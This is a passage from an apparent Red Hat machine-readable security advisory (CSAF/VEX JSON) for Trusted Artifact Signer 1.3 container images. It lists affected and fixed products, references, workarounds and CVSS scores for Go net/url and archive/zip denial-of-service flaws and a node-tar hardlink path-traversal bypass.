"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64"
],
"known_not_affected": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-61726"
},
{
"category": "external",
"summary": "RHBZ#2434432",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2434432"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-61726",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61726"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-61726",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61726"
},
{
"category": "external",
"summary": "https://go.dev/cl/736712",
"url": "https://go.dev/cl/736712"
},
{
"category": "external",
"summary": "https://go.dev/issue/77101",
"url": "https://go.dev/issue/77101"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc",
"url": "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4341",
"url": "https://pkg.go.dev/vuln/GO-2026-4341"
}
],
"release_date": "2026-01-28T19:30:31.215000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-03-23T16:03:55+00:00",
"details": "Red Hat Trusted Artifact Signer simplifies cryptographic signing and verifying of software artifacts such as container images, binaries and source code changes. It is a self-managed on-premise deployment of the Sigstore project available at https://sigstore.dev\n\nPlatform Engineers, Software Developers and Security Professionals may use RHTAS to ensure the integrity, transparency and assurance of their organization\u0027s software supply chain.\n\nFor details on using the operator, refer to the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3\n\nYou can find the release notes for this version of Red Hat Trusted Artifact Signer at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
},
{
"category": "workaround",
"details": "Red Hat has investigated whether a possible mitigation exists for this issue, and has not been able to identify a practical example. Please update the affected package as soon as possible.",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "golang: net/url: Memory exhaustion in query parameter parsing in net/url"
},
{
"cve": "CVE-2025-61728",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-01-28T20:01:39.965024+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2434431"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the archive/zip package in the Go standard library. A super-linear file name indexing algorithm is used in the first time a file in an archive is opened. A crafted zip archive containing a specific arrangement of file names can cause an excessive CPU and memory consumption. A Go application processing a malicious archive can become unresponsive or crash, resulting in a denial of service.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "golang: archive/zip: Excessive CPU consumption when building archive index in archive/zip",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "To exploit this flaw, an attacker needs to be able to process a malicious zip archive with an application using the archive/zip package. Additionally, this vulnerability can cause a Go application to consume an excessive amount of CPU and memory, eventually resulting in a denial of service with no other security impact. Due to these reasons, this flaw has been rated with a moderate severity.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64"
],
"known_not_affected": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2025-61728"
},
{
"category": "external",
"summary": "RHBZ#2434431",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2434431"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2025-61728",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61728"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2025-61728",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61728"
},
{
"category": "external",
"summary": "https://go.dev/cl/736713",
"url": "https://go.dev/cl/736713"
},
{
"category": "external",
"summary": "https://go.dev/issue/77102",
"url": "https://go.dev/issue/77102"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc",
"url": "https://groups.google.com/g/golang-announce/c/Vd2tYVM8eUc"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4342",
"url": "https://pkg.go.dev/vuln/GO-2026-4342"
}
],
"release_date": "2026-01-28T19:30:31.354000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-03-23T16:03:55+00:00",
"details": "Red Hat Trusted Artifact Signer simplifies cryptographic signing and verifying of software artifacts such as container images, binaries and source code changes. It is a self-managed on-premise deployment of the Sigstore project available at https://sigstore.dev\n\nPlatform Engineers, Software Developers and Security Professionals may use RHTAS to ensure the integrity, transparency and assurance of their organization\u0027s software supply chain.\n\nFor details on using the operator, refer to the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3\n\nYou can find the release notes for this version of Red Hat Trusted Artifact Signer at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
},
{
"category": "workaround",
"details": "To mitigate this vulnerability, implement a timeout in your archive/zip processing logic to abort the operation if it exceeds a few seconds, preventing the application from consuming an excessive amount of resources.",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "golang: archive/zip: Excessive CPU consumption when building archive index in archive/zip"
},
{
"cve": "CVE-2026-24842",
"cwe": {
"id": "CWE-59",
"name": "Improper Link Resolution Before File Access (\u0027Link Following\u0027)"
},
"discovery_date": "2026-01-28T01:01:16.886629+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2433645"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in node-tar, a Node.js module for handling TAR archives. This vulnerability allows a remote attacker to bypass path traversal protections by crafting a malicious TAR archive. The security check for hardlink entries uses different path resolution logic than the actual hardlink creation, enabling the attacker to create hardlinks to arbitrary files outside the intended extraction directory. This could lead to unauthorized information disclosure or further system compromise.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an IMPORTANT vulnerability in node-tar, a Node.js module for handling TAR archives. The flaw allows an attacker to bypass path traversal protections by crafting a malicious TAR archive. This could lead to the creation of hardlinks to arbitrary files outside the intended extraction directory, potentially resulting in unauthorized information disclosure or further system compromise in affected Red Hat products utilizing node-tar for archive processing.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64"
],
"known_not_affected": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-server-rhel9@sha256:5ffaf92fc557cb891a546ae2682d4e0259166ad6d935970dc958d255abc29a48_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/timestamp-authority-rhel9@sha256:1ff8c1082274d8ae809e67d5c24e8c4365f2f4e0ce0dea6a2a95c1fac89f2d98_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-database-rhel9@sha256:6ca4eb17da6277b142a3353b675d735c106868f827243eaef70cd1ec01d36307_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logserver-rhel9@sha256:f02c58838bf882d9b5d82a1a96e8ab29ce6033ae1b64418118fba43eb9151b41_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-logsigner-rhel9@sha256:8ef614441b76914f5727f5bec23a9d8dc2785ca7fd6a2516f393529b7801da53_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/trillian-redis-rhel9@sha256:cc686a64f9ae83adecc7a0ffe8a6b82f0750dc39ad05654a8087cf780a1c3b3a_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24842"
},
{
"category": "external",
"summary": "RHBZ#2433645",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2433645"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24842"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46",
"url": "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46"
},
{
"category": "external",
"summary": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v"
}
],
"release_date": "2026-01-28T00:20:13.261000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-03-23T16:03:55+00:00",
"details": "Red Hat Trusted Artifact Signer simplifies cryptographic signing and verifying of software artifacts such as container images, binaries and source code changes. It is a self-managed on-premise deployment of the Sigstore project available at https://sigstore.dev\n\nPlatform Engineers, Software Developers and Security Professionals may use RHTAS to ensure the integrity, transparency and assurance of their organization\u0027s software supply chain.\n\nFor details on using the operator, refer to the product documentation at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3\n\nYou can find the release notes for this version of Red Hat Trusted Artifact Signer at https://access.redhat.com/documentation/en-us/red_hat_trusted_artifact_signer/1.3/html-single/release_notes/index",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-search-ui-rhel9@sha256:865dd51e80034018400794d07edc0b546c6e4de7e2351dddc7f1f6378e1ffdd0_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:5447"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/certificate-transparency-rhel9@sha256:61aeb8693f27b60dd35e3dd1961d14bd95988cae70d649b340045619e5de7acf_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/fulcio-rhel9@sha256:d71caff0f67fe8d9665d39193d955fc9352224f647406a40e56428dd6cd24953_amd64",
"Red Hat Trusted Artifact Signer 1.3:registry.redhat.io/rhtas/rekor-backfill-redis-rhel9@sha256:8d201eb6b1399f0373fb8456683bb2976dc6644745b7f285af3eb83ca3a0d0a7_amd64",
